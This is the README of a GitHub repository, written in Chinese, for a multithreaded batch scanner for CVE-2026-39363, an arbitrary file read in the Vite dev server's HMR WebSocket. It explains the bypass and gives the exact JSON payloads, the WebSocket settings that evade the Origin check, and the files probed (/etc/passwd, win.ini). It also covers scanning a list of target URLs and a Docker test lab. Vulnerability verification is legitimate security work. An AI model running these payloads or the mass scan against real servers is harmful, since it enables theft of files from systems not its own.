f4s1on/CVE-2026-39363

GitHub: f4s1on/CVE-2026-39363

针对 Vite 开发服务器 WebSocket 任意文件读取漏洞(CVE-2026-39363)的批量检测工具,支持多线程并发扫描与跨平台识别。

Stars: 0 | Forks: 0

# CVE-2026-39363 — Vite Dev Server WebSocket 任意文件读取批量检测 ## 漏洞描述 Vite 开发服务器(6.0.0 ~ 6.4.1, 7.0.0 ~ 7.3.1, 8.0.0 ~ 8.0.4)的 HMR WebSocket 未校验 `Origin` 头,攻击者可通过 `vite:invoke` 事件调用 `fetchModule`,使用 `file://` 协议配合 `?raw` 参数绕过 `server.fs.allow` 限制,读取服务器任意文件。 ## 检测流程 url.txt → http://host:port ↓ 解析 host + port ↓ ┌─ Step 1: 尝试 ws://host:给定端口 │ ├─ WebSocket 握手成功 + exploit 成功 → 存在漏洞 │ └─ 失败 → 如果给定端口 == 5173 → 不存在漏洞 │ └─ Step 3: 探测 host:5173(仅当给定端口 ≠ 5173) ├─ 端口关闭 → 不存在漏洞 └─ 端口开放 → WebSocket 握手 + exploit 在 5173 上 ├─ 成功 → 存在漏洞 └─ 失败 → 不存在漏洞 ## 使用方法 ### 安装依赖 pip install -r requirements.txt ### 开启和关闭代理 要开启代理取消脚本26-27行的注释即可 # 要开启代理的话,取消下面两行注释,并设置正确的代理地址和端口 # os.environ["HTTP_PROXY"] = "http://127.0.0.1:8083" # os.environ["HTTPS_PROXY"] = "http://127.0.0.1:8083" ### 准备目标 在 `url.txt` 中写入目标 URL,每行一个: http://192.168.1.100:5173 http://example.com http://target.cn:8080 ### 运行 python cve_2026_39363.py ### 输出 **终端:** [*] Loaded 3 URL(s), scanning with 3 thread(s)... http://192.168.1.100:5173 存在漏洞 (Linux) http://example.com 存在漏洞 (Linux) http://target.cn:8080 不存在漏洞 [*] Done. 2/3 vulnerable, elapsed 3.2s [*] Results saved to result.txt **result.txt:** http://192.168.1.100:5173 (Linux) http://example.com:5173 (Linux) ## POC 验证文件 | 目标系统 | 读取文件 | 特征标记 | |----------|----------|----------| | Linux | `file:///etc/passwd?raw` | `root:` | | Windows | `file:///C:/Windows/win.ini?raw` | `for 16-bit app support` | ## Exploit Payload 支持两种 payload 格式(按顺序尝试): 1. Vulhub PoC 格式:`{"id":"send:0","name":"fetchModule","data":[file_path]}` 2. 内部 RPC 格式:`{"fn":"fetchModule","args":[file_path]}` ## WebSocket 关键参数 | 参数 | 值 | 原因 | |------|-----|------| | 子协议 | `vite-hmr` | Vite HMR WebSocket 要求 | | Origin | 抑制发送 (`suppress_origin=True`) | Vite 拒绝带 Origin 头的非浏览器连接 | ## Docker 漏洞环境测试 # 启动 docker run -d --name vite-vuln -p 5173:5173 vulhub/vite:7.3.1 # 扫描 echo "http://127.0.0.1:5173" > url.txt python cve_2026_39363.py # 清理 docker stop vite-vuln && docker rm vite-vuln ## 常见问题 **Q: 所有检测都返回"不存在漏洞"?** - 确认目标端口 5173 是否开放 - 确认 Vite dev server 使用了 `--host` 或 `server.host` 暴露到网络 - 确认 `WebSocket` 未被 `server.ws: false` 禁用 **Q: Windows 下输出乱码?** - 脚本已自动处理,若仍有问题请确认终端为 UTF-8 编码 **Q: PowerShell 生成的 url.txt 无法解析?** - 脚本使用 `utf-8-sig` 自动跳过 BOM
标签:CVE-2026-39363, Dev Server, HMR, Maven, PoC, Python, Vite, WebSocket, XXE攻击, 任意文件读取, 依赖分析, 信息泄露, 前端安全, 密码管理, 批量化, 文件读取漏洞, 无后门, 暴力破解, 漏洞验证, 网络安全, 网络安全审计, 请求拦截, 逆向工具, 隐私保护